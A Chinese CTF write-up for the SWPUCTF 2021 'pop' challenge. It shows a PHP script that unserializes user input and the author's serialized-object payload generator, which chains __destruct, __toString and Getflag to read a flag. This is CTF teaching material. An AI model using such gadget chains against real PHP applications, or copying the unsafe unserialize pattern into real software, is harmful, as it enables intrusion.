资讯详情

[SWPUCTF 2021 新生赛]pop

本来期末考试放弃了。pop链表,但突然看起来透明,然后迅速记录下来,以防忘记。

<?php  error_reporting(0); show_source("index.php");  class w44m{      private $admin = 'aaa';     protected $passwd = '123456';      public function Getflag(){         if($this->admin === 'w44m' && $this->passwd ==='08067'){             include('flag.php');             echo $flag;         }else{             echo $this->admin;             echo $this->passwd;             echo 'nono';         }     } }  class w22m{     public $w00m;     public function __destruct(){         echo $this->w00m;     } }  class w33m{     public $w00m;     public $w22m;     public function __toString(){         $this->w00m->{$this->w22m}();         return 0;     } }  $w00m = $_GET['w00m']; unserialize($w00m);  ?>

这个问题应该是pop链表入门题,但对我这种菜鸡来说还是有点难,话不多说,直接分析。

unserialize($w00m);从这一行可以看出,反序列化操作,从后面往前推,最后一定要调用输出Getflag------>如果你想调用这个,你需要魔法方法 ————tostring---------->想做这个就用—destruct魔法方法。所以顺序已经找到了下一个结构。

看下图,

$a = new w22m();是给类的a

然后$a->w00m = new w33m();因为w22m中woom是可控对象之一 ——tostring操作就是

$a->w00m->w00m=new w44m(); w33m中woom也是可控对象之一

$a->w00m->w22m='Getflag';

w00m是w33m对象,w22m是getflag

<?php class w44m{     private $admin = 'w44m';     protected $passwd = '08067'; }   class w22m{     public $w00m;     public function __destruct(){         echo $this->w00m;     } } class w33m{     public $w00m;     public $w22m;     public function __toString(){         $this->w00m->{$this->w22m}();         return 0;     } } $a = new w22m(); $a->w00m = new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; echo urlencode(serialize($a));   ?>

标签: 5w33kr电阻

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

 锐单商城 - 一站式电子元器件采购平台  

 深圳锐单电子有限公司